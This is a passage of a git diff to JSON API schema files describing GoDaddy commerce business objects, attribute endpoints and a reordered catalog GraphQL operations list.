code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessUrl": { + "description": "The url of the business' website.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "closedAt": { + "description": "Details on when the business was closed.", + "format": "date-time", + "type": "string" + }, + "closingDetails": { + "description": "Details on why the business was closed.", + "type": "string" + }, + "closingReason": { + "description": "The reason why the business was closed.", + "enum": [ + "TERMINATED", + "CHURNED", + "DUPLICATE" + ], + "type": "string" + }, + "createdAt": { + "description": "Creation time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "description": { + "description": "A short description of the business.", + "maxLength": 512, + "type": "string" + }, + "doingBusinessAs": { + "description": "The name the business likes to be known as.", + "maxLength": 128, + "type": "string" + }, + "domicileCountry": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "emailAddress": { + "description": "The main business email address.", + "maxLength": 512, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "industryType": { + "deprecated": true, + "description": "The industry type that this business belongs to. (Retail, Restaurant, Lodging, MOTO etc.)", + "readOnly": true, + "type": "string" + }, + "legalName": { + "description": "The legal name of the business.", + "maxLength": 128, + "type": "string" + }, + "logoUrl": { + "description": "The business' main logo url.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "mcc": { + "description": "The merchant category code of the business in ISO 18245:2023 format (Refer https://www.citibank.com/tts/solutions/commercial-cards/assets/docs/govt/Merchant-Category-Codes.pdf)", + "maxLength": 16, + "type": "string" + }, + "organizationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/business-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "Contains payment details used by the business.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "externalMerchantId": { + "description": "This is the unique identifier assigned by the acquirer to the business. It is a business level MID.", + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "underwritingLevel": { + "description": "The application level of the business for underwriting.", + "enum": [ + "BASIC", + "FULL" + ], + "maxLength": 16, + "type": "string" + } + }, + "required": [ + "acquirer" + ], + "title": "Business Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "scrubbed": { + "description": "Indicates if business information is scrubbed to protect privacy of the merchant.", + "readOnly": true, + "type": "boolean" + }, + "sic": { + "description": "The standard industry code of the business. (https://siccode.com/sic-code-lookup-directory)", + "maxLength": 16, + "type": "string" + }, + "status": { + "description": "It is set to ADDED as soon as the business is added into the system. Moved to ACTIVATED once the first terminal is activated. It may move to LOCKED if for whatever reason, operations need to be stopped. It is moved to CLOSED if the business is closed for good.", + "enum": [ + "ADDED", + "ACTIVATED", + "LOCKED", + "CLOSED" + ], + "type": "string" + }, + "subscribedBundles": { + "deprecated": true, + "description": "The list of bundles this business has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/business-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "$id": "https://godaddy.com/schemas/common/time-zone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A time zone, in [Internet Assigned Numbers Authority (IANA) time zone (tz) database format](https://www.iana.org/time-zones). A valid value is `America/New_York` or `Etc/UTC`. Do not use ambiguous, non-qualified tz database values, such as `EST` or `GB`. Before you include this type in your interface, consider whether it is appropriate to convey time-zone information with your type. At the time of display to the user, transform this value from UTC. Typically, this type is associated with user-preference APIs.", + "maxLength": 127, + "minLength": 1, + "type": "string" + }, + "type": { + "default": "MERCHANT", + "description": "The type of business. Use TEST_MERCHANT to create a business for testing purpose, and MERCHANT otherwise.", + "enum": [ + "MERCHANT", + "TEST_MERCHANT" + ], + "type": "string" + }, + "updatedAt": { + "description": "Last updated time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "description", + "doingBusinessAs", + "legalName", + "timezone" + ], + "title": "Business", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "404": { + "description": "Business Not Found" + } + }, + "scopes": [ + "commerce.channels:write" + ] + }, + { + "operationId": "getBusinessAttributes", + "method": "GET", + "path": "/businesses/{businessId}/attributes", + "summary": "Get business attributes", + "description": "Retrieve the attributes of a specific Business using the business ID.", + "parameters": [ + { + "name": "businessId", + "in": "path", + "required": true, + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Business Attributes Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.business:read" + ] + }, + { + "operationId": "getBusinessAttribute", + "method": "GET", + "path": "/businesses/{businessId}/attributes/{attrName}", + "summary": "Get business attribute", + "description": "Retrieve the information of a single business attribute using the business and attribute names.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "businessId", + "in": "path", + "required": true, + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute Name", + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Business Attribute Found" + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.business:read" + ] + }, + { + "operationId": "updateBusinessAttribute", + "method": "PUT", + "path": "/businesses/{businessId}/attributes/{attrName}", + "summary": "Update business attribute", + "description": "Update a single business attribute using the attribute name.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "businessId", + "in": "path", + "required": true, + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute Name", + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "properties": { + "ttl": { + "description": "The expiration time of an ephemeral attribute.", + "type": "integer" + }, + "value": { + "description": "The attribute value.", + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Business Attribute updated" + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.business:update" + ] + }, + { + "operationId": "deleteBusinessAttribute", + "method": "DELETE", + "path": "/businesses/{businessId}/attributes/{attrName}", + "summary": "Delete a business attribute", + "description": "Delete a business attribute using the business ID and attribute name.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "businessId", + "in": "path", + "required": true, + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute Name", + "schema": { + "type": "string" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute Name", + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Business Attribute Deleted" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.business:update" + ] + } + ] +} \ No newline at end of file diff --git a/src/cli/schemas/api/catalog-products.json b/rust/schemas/api/catalog-products.json similarity index 99% rename from src/cli/schemas/api/catalog-products.json rename to rust/schemas/api/catalog-products.json index 8d14f16..27864e0 100644 --- a/src/cli/schemas/api/catalog-products.json +++ b/rust/schemas/api/catalog-products.json @@ -19,8 +19,8 @@ "$id": "https://godaddy.com/schemas/common/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, { @@ -32,8 +32,8 @@ "$id": "https://godaddy.com/schemas/common/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } } ], @@ -41,59 +41,59 @@ "required": true, "contentType": "application/json", "schema": { - "type": "object", - "required": [ - "query" - ], "properties": { + "operationName": { + "type": "string" + }, "query": { "type": "string" }, "variables": { - "type": "object", - "additionalProperties": true - }, - "operationName": { - "type": "string" + "additionalProperties": true, + "type": "object" } - } + }, + "required": [ + "query" + ], + "type": "object" } }, "responses": { + "500": { + "description": "Internal server error" + }, + "401": { + "description": "Unauthorized" + }, "200": { "description": "GraphQL response", "schema": { - "type": "object", "properties": { "data": { - "type": "object", + "additionalProperties": true, "nullable": true, - "additionalProperties": true + "type": "object" }, "errors": { - "type": "array", "items": { - "type": "object", - "additionalProperties": true - } + "additionalProperties": true, + "type": "object" + }, + "type": "array" } - } + }, + "type": "object" } }, - "400": { - "description": "Invalid request" - }, - "401": { - "description": "Unauthorized" - }, "403": { "description": "Forbidden" }, + "400": { + "description": "Invalid request" + }, "404": { "description": "Store not found" - }, - "500": { - "description": "Internal server error" } }, "scopes": [ @@ -105,10 +105,11 @@ "operationCount": 149, "operations": [ { - "name": "attribute", + "name": "SKU", "kind": "query", - "returnType": "Attribute", - "deprecated": false, + "returnType": "SKU", + "deprecated": true, + "deprecationReason": "Use sku instead.", "args": [ { "name": "id", @@ -118,10 +119,25 @@ ] }, { - "name": "attributes", + "name": "SKUGroup", "kind": "query", - "returnType": "QueryAttributesConnection", - "deprecated": false, + "returnType": "SKUGroup", + "deprecated": true, + "deprecationReason": "Use skuGroup instead.", + "args": [ + { + "name": "id", + "type": "String!", + "required": true + } + ] + }, + { + "name": "SKUGroups", + "kind": "query", + "returnType": "QuerySKUGroupsConnection", + "deprecated": true, + "deprecationReason": "Use skuGroups instead.", "args": [ { "name": "after", @@ -133,6 +149,11 @@ "type": "String", "required": false }, + { + "name": "channelId", + "type": "SKUGroupChannelIdFilter", + "required": false + }, { "name": "createdAt", "type": "CreatedAtFilter", @@ -145,7 +166,7 @@ }, { "name": "id", - "type": "AttributeIdsFilter", + "type": "SKUGroupIdsFilter", "required": false }, { @@ -153,6 +174,11 @@ "type": "Int", "required": false }, + { + "name": "listId", + "type": "ListIdFilter", + "required": false + }, { "name": "name", "type": "NameFilter", @@ -160,7 +186,87 @@ }, { "name": "orderBy", - "type": "AttributeOrderBy", + "type": "SKUGroupOrderBy", + "required": false + }, + { + "name": "paginationType", + "type": "PaginationType", + "required": false, + "defaultValue": "CURSOR" + }, + { + "name": "referenceValue", + "type": "ReferenceValueFilter", + "required": false + }, + { + "name": "status", + "type": "SKUGroupStatusFilter", + "required": false + }, + { + "name": "updatedAt", + "type": "UpdatedAtFilter", + "required": false + } + ] + }, + { + "name": "SKUs", + "kind": "query", + "returnType": "QuerySKUsConnection", + "deprecated": true, + "deprecationReason": "Use skus instead.", + "args": [ + { + "name": "after", + "type": "String", + "required": false + }, + { + "name": "attributeValues", + "type": "SKUAttributeValueFilter", + "required": false + }, + { + "name": "before", + "type": "String", + "required": false + }, + { + "name": "createdAt", + "type": "CreatedAtFilter", + "required": false + }, + { + "name": "first", + "type": "Int", + "required": false + }, + { + "name": "id", + "type": "SKUIdsFilter", + "required": false + }, + { + "name": "last", + "type": "Int", + "required": false + }, + { + "name": "locationId", + "type": "LocationIdFilter", + "required": false + }, + { + "name": "name", + "type": "NameFilter", + "required": false + }, + { + "name": "orderBy", + "type": "SKUOrderBy", "required": false }, { @@ -169,11 +275,21 @@ "required": false, "defaultValue": "CURSOR" }, + { + "name": "referenceValue", + "type": "ReferenceValueFilter", + "required": false + }, { "name": "skuGroupId", "type": "SKUGroupIdFilter", "required": false }, + { + "name": "status", + "type": "SKUStatusFilter", + "required": false + }, { "name": "updatedAt", "type": "UpdatedAtFilter", @@ -181,6 +297,19 @@ } ] }, + { + "name": "attribute", + "kind": "query", + "returnType": "Attribute", + "deprecated": false, + "args": [ + { + "name": "id", + "type": "String!", + "required": true + } + ] + }, { "name": "attributeValue", "kind": "query", @@ -263,6 +392,70 @@ } ] }, + { + "name": "attributes", + "kind": "query", + "returnType": "QueryAttributesConnection", + "deprecated": false, + "args": [ + { + "name": "after", + "type": "String", + "required": false + }, + { + "name": "before", + "type": "String", + "required": false + }, + { + "name": "createdAt", + "type": "CreatedAtFilter", + "required": false + }, + { + "name": "first", + "type": "Int", + "required": false + }, + { + "name": "id", + "type": "AttributeIdsFilter", + "required": false + }, + { + "name": "last", + "type": "Int", + "required": false + }, + { + "name": "name", + "type": "NameFilter", + "required": false + }, + { + "name": "orderBy", + "type": "AttributeOrderBy", + "required": false + }, + { + "name": "paginationType", + "type": "PaginationType", + "required": false, + "defaultValue": "CURSOR" + }, + { + "name": "skuGroupId", + "type": "SKUGroupIdFilter", + "required": false + }, + { + "name": "updatedAt", + "type": "UpdatedAtFilter", + "required": false + } + ] + }, { "name": "inventoryAdjustment", "kind": "query", @@ -500,80 +693,6 @@ } ] }, - { - "name": "lists", - "kind": "query", - "returnType": "QueryListsConnection", - "deprecated": false, - "args": [ - { - "name": "after", - "type": "String", - "required": false - }, - { - "name": "before", - "type": "String", - "required": false - }, - { - "name": "createdAt", - "type": "CreatedAtFilter", - "required": false - }, - { - "name": "first", - "type": "Int", - "required": false - }, - { - "name": "id", - "type": "ListIdsFilter", - "required": false - }, - { - "name": "last", - "type": "Int", - "required": false - }, - { - "name": "name", - "type": "NameFilter", - "required": false - }, - { - "name": "orderBy", - "type": "ListOrderBy", - "required": false - }, - { - "name": "paginationType", - "type": "PaginationType", - "required": false, - "defaultValue": "CURSOR" - }, - { - "name": "referenceValue", - "type": "ReferenceValueFilter", - "required": false - }, - { - "name": "skuGroupId", - "type": "SKUGroupIdFilter", - "required": false - }, - { - "name": "status", - "type": "ListStatusFilter", - "required": false - }, - { - "name": "updatedAt", - "type": "UpdatedAtFilter", - "required": false - } - ] - }, { "name": "listTree", "kind": "query", @@ -744,22 +863,9 @@ ] }, { - "name": "location", - "kind": "query", - "returnType": "Location", - "deprecated": false, - "args": [ - { - "name": "id", - "type": "String!", - "required": true - } - ] - }, - { - "name": "locations", + "name": "lists", "kind": "query", - "returnType": "QueryLocationsConnection", + "returnType": "QueryListsConnection", "deprecated": false, "args": [ { @@ -784,7 +890,7 @@ }, { "name": "id", - "type": "LocationIdsFilter", + "type": "ListIdsFilter", "required": false }, { @@ -799,7 +905,7 @@ }, { "name": "orderBy", - "type": "LocationOrderBy", + "type": "ListOrderBy", "required": false }, { @@ -814,77 +920,13 @@ "required": false }, { - "name": "skuId", - "type": "SKUIdFilter", + "name": "skuGroupId", + "type": "SKUGroupIdFilter", "required": false }, { "name": "status", - "type": "LocationStatusFilter", - "required": false - }, - { - "name": "updatedAt", - "type": "UpdatedAtFilter", - "required": false - } - ] - }, - { - "name": "options", - "kind": "query", - "returnType": "QueryOptionsConnection", - "deprecated": false, - "args": [ - { - "name": "after", - "type": "String", - "required": false - }, - { - "name": "before", - "type": "String", - "required": false - }, - { - "name": "createdAt", - "type": "CreatedAtFilter", - "required": false - }, - { - "name": "first", - "type": "Int", - "required": false - }, - { - "name": "id", - "type": "OptionIdsFilter", - "required": false - }, - { - "name": "last", - "type": "Int", - "required": false - }, - { - "name": "name", - "type": "NameFilter", - "required": false - }, - { - "name": "orderBy", - "type": "OptionOrderBy", - "required": false - }, - { - "name": "paginationType", - "type": "PaginationType", - "required": false, - "defaultValue": "CURSOR" - }, - { - "name": "skuGroupId", - "type": "SKUGroupIdFilter", + "type": "ListStatusFilter", "required": false }, { @@ -895,36 +937,9 @@ ] }, { - "name": "sku", - "kind": "query", - "returnType": "SKU", - "deprecated": false, - "args": [ - { - "name": "id", - "type": "String!", - "required": true - } - ] - }, - { - "name": "SKU", - "kind": "query", - "returnType": "SKU", - "deprecated": true, - "deprecationReason": "Use sku instead.", - "args": [ - { - "name": "id", - "type": "String!", - "required": true - } - ] - }, - { - "name": "skuGroup", + "name": "location", "kind": "query", - "returnType": "SKUGroup", + "returnType": "Location", "deprecated": false, "args": [ { @@ -935,23 +950,9 @@ ] }, { - "name": "SKUGroup", - "kind": "query", - "returnType": "SKUGroup", - "deprecated": true, - "deprecationReason": "Use skuGroup instead.", - "args": [ - { - "name": "id", - "type": "String!", - "required": true - } - ] - }, - { - "name": "skuGroups", + "name": "locations", "kind": "query", - "returnType": "QuerySkuGroupsConnection", + "returnType": "QueryLocationsConnection", "deprecated": false, "args": [ { @@ -964,11 +965,6 @@ "type": "String", "required": false }, - { - "name": "channelId", - "type": "SKUGroupChannelIdFilter", - "required": false - }, { "name": "createdAt", "type": "CreatedAtFilter", @@ -981,12 +977,7 @@ }, { "name": "id", - "type": "SKUGroupIdsFilter", - "required": false - }, - { - "name": "label", - "type": "LabelFilter", + "type": "LocationIdsFilter", "required": false }, { @@ -994,11 +985,6 @@ "type": "Int", "required": false }, - { - "name": "listId", - "type": "ListIdFilter", - "required": false - }, { "name": "name", "type": "NameFilter", @@ -1006,7 +992,7 @@ }, { "name": "orderBy", - "type": "SKUGroupOrderBy", + "type": "LocationOrderBy", "required": false }, { @@ -1020,9 +1006,14 @@ "type": "ReferenceValueFilter", "required": false }, + { + "name": "skuId", + "type": "SKUIdFilter", + "required": false + }, { "name": "status", - "type": "SKUGroupStatusFilter", + "type": "LocationStatusFilter", "required": false }, { @@ -1033,11 +1024,10 @@ ] }, { - "name": "SKUGroups", + "name": "options", "kind": "query", - "returnType": "QuerySKUGroupsConnection", - "deprecated": true, - "deprecationReason": "Use skuGroups instead.", + "returnType": "QueryOptionsConnection", + "deprecated": false, "args": [ { "name": "after", @@ -1049,11 +1039,6 @@ "type": "String", "required": false }, - { - "name": "channelId", - "type": "SKUGroupChannelIdFilter", - "required": false - }, { "name": "createdAt", "type": "CreatedAtFilter", @@ -1066,7 +1051,7 @@ }, { "name": "id", - "type": "SKUGroupIdsFilter", + "type": "OptionIdsFilter", "required": false }, { @@ -1074,11 +1059,6 @@ "type": "Int", "required": false }, - { - "name": "listId", - "type": "ListIdFilter", - "required": false - }, { "name": "name", "type": "NameFilter", @@ -1086,7 +1066,7 @@ }, { "name": "orderBy", - "type": "SKUGroupOrderBy", + "type": "OptionOrderBy", "required": false }, { @@ -1096,13 +1076,8 @@ "defaultValue": "CURSOR" }, { - "name": "referenceValue", - "type": "ReferenceValueFilter", - "required": false - }, - { - "name": "status", - "type": "SKUGroupStatusFilter", + "name": "skuGroupId", + "type": "SKUGroupIdFilter", "required": false }, { @@ -1113,9 +1088,35 @@ ] }, { - "name": "skus", + "name": "sku", "kind": "query", - "returnType": "QuerySkusConnection", + "returnType": "SKU", + "deprecated": false, + "args": [ + { + "name": "id", + "type": "String!", + "required": true + } + ] + }, + { + "name": "skuGroup", + "kind": "query", + "returnType": "SKUGroup", + "deprecated": false, + "args": [ + { + "name": "id", + "type": "String!", + "required": true + } + ] + }, + { + "name": "skuGroups", + "kind": "query", + "returnType": "QuerySkuGroupsConnection", "deprecated": false, "args": [ { @@ -1123,19 +1124,14 @@ "type": "String", "required": false }, - { - "name": "attributeValues", - "type": "SKUAttributeValueFilter", - "required": false - }, { "name": "before", "type": "String", "required": false }, { - "name": "code", - "type": "SKUCodeFilter", + "name": "channelId", + "type": "SKUGroupChannelIdFilter", "required": false }, { @@ -1150,7 +1146,7 @@ }, { "name": "id", - "type": "SKUIdsFilter", + "type": "SKUGroupIdsFilter", "required": false }, { @@ -1164,8 +1160,8 @@ "required": false }, { - "name": "locationId", - "type": "LocationIdFilter", + "name": "listId", + "type": "ListIdFilter", "required": false }, { @@ -1175,7 +1171,7 @@ }, { "name": "orderBy", - "type": "SKUOrderBy", + "type": "SKUGroupOrderBy", "required": false }, { @@ -1184,25 +1180,14 @@ "required": false, "defaultValue": "CURSOR" }, - { - "name": "queryFilter", - "type": "String", - "required": false, - "description": "A string filter in the ODATA format. ex: \"label eq 'shirt' and contains(code, '123')\".\n\n\t\nSupported columns: `label`, `code`\n\t\nSupported operators: `eq`, `ne`, `lt`, `gt`, `and`, `or`\n\t\nSupported functions: `contains`" - }, { "name": "referenceValue", "type": "ReferenceValueFilter", "required": false }, - { - "name": "skuGroupId", - "type": "SKUGroupIdFilter", - "required": false - }, { "name": "status", - "type": "SKUStatusFilter", + "type": "SKUGroupStatusFilter", "required": false }, { @@ -1213,11 +1198,10 @@ ] }, { - "name": "SKUs", + "name": "skus", "kind": "query", - "returnType": "QuerySKUsConnection", - "deprecated": true, - "deprecationReason": "Use skus instead.", + "returnType": "QuerySkusConnection", + "deprecated": false, "args": [ { "name": "after", @@ -1234,6 +1218,11 @@ "type": "String", "required": false }, + { + "name": "code", + "type": "SKUCodeFilter", + "required": false + }, { "name": "createdAt", "type": "CreatedAtFilter", @@ -1249,6 +1238,11 @@ "type": "SKUIdsFilter", "required": false }, + { + "name": "label", + "type": "LabelFilter", + "required": false + }, { "name": "last", "type": "Int", @@ -1275,6 +1269,12 @@ "required": false, "defaultValue": "CURSOR" }, + { + "name": "queryFilter", + "type": "String", + "required": false, + "description": "A string filter in the ODATA format. ex: \"label eq 'shirt' and contains(code, '123')\".\n\n\t\nSupported columns: `label`, `code`\n\t\nSupported operators: `eq`, `ne`, `lt`, `gt`, `and`, `or`\n\t\nSupported functions: `contains`" + }, { "name": "referenceValue", "type": "ReferenceValueFilter", @@ -1298,11 +1298,12 @@ ] }, { - "name": "addAttributesToSkuGroup", + "name": "addAttributeValuesToSKU", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Add Attributes to an existing SKU group.", - "deprecated": false, + "returnType": "SKU", + "description": "Add Attribute Value(s) to an existing SKU.", + "deprecated": true, + "deprecationReason": "Use `addAttributeValuesToSku` instead.", "args": [ { "name": "id", @@ -1311,18 +1312,17 @@ }, { "name": "input", - "type": "MutationAddAttributesToSkuGroupInput!", + "type": "MutationAddAttributeValuesToSKUInput!", "required": true } ] }, { - "name": "addAttributesToSKUGroup", + "name": "addAttributeValuesToSku", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Add Attributes to an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `addAttributesToSkuGroup` instead.", + "returnType": "SKU", + "description": "Add Attribute Value(s) to an existing SKU.", + "deprecated": false, "args": [ { "name": "id", @@ -1331,17 +1331,18 @@ }, { "name": "input", - "type": "MutationAddAttributesToSKUGroupInput!", + "type": "MutationAddAttributeValuesToSkuInput!", "required": true } ] }, { - "name": "addAttributeValuesToSku", + "name": "addAttributesToSKUGroup", "kind": "mutation", - "returnType": 